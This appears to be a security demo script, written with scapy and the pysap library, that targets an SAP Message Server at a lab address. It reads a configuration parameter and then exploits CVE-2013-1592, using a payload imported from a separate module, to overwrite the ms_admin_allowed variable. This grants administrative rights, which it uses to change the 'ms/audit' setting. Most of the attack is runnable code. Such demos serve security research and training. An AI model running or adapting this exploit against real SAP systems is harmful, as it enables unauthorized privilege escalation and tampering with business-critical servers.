Import the libraries, bind the protocol layer
from scapy.all import *
from pysap.SAPNI import *
from pysap.SAPMS import *
bind_layers(SAPNI, SAPMS, )
As in the previous examples, we connect to the target server, send a login packet and grab the srever name:
sock = socket.socket()
sock.connect(("192.168.56.102", 3900))
conn = SAPNIStreamSocket(sock)
p = SAPMS(flag=0x00, iflag=0x08, toname="changeparam-demo", fromname="changeparam-demo")
response = conn.sr(p)[SAPMS]
server_string = response.fromname
print server_string
We can retrieve the current value of a parameter:
adm_get = SAPMSAdmRecord(opcode=0x1, parameter="ms/audit")
p = SAPMS(toname=server_string, fromname="changeparam-demo", version=4,
flag=0x04, iflag=0x05, adm_records=[adm_get])
p.show()
response = conn.sr(p)[SAPMS]
response.show()
Then, send an ADM requesto for changing a parameter:
adm_set = SAPMSAdmRecord(opcode=0x2e, parameter="ms/audit=1")
p = SAPMS(toname=server_string, fromname="changeparam-demo", version=4,
flag=0x04, iflag=0x05, adm_records=[adm_set])
p.show()
response = conn.sr(p)[SAPMS]
response.show()
Ops ! We don't have permission for change configuration parameter, as the server is not running in monitor mode. We'll enable the monitor mode by exploiting CVE-2013-1592 and overwriting the ms_admin_allowed global variable.
We craft the request and send it to the server using another connection:
from demo import payload
p = SAPMS(flag=0x02, iflag=0x0c) / Raw(payload)
response = conn.sr(p)[SAPMS]
response.show()
conn.close()
Now we should have administrative privileges on the server !
Let's check it out with a new connection to the server:
sock = socket.socket()
sock.connect(("192.168.56.102", 3900))
conn = SAPNIStreamSocket(sock)
p = SAPMS(flag=0x00, iflag=0x08, toname="changeparam-demo", fromname="changeparam-demo")
response = conn.sr(p)[SAPMS]
p = SAPMS(toname=server_string, fromname="changeparam-demo", version=4,
flag=0x04, iflag=0x05, adm_records=[adm_set])
response = conn.sr(p)[SAPMS]
response.show()
p = SAPMS(toname=server_string, fromname="changeparam-demo", version=4,
flag=0x04, iflag=0x05, adm_records=[adm_get])
response = conn.sr(p)[SAPMS]
response.show()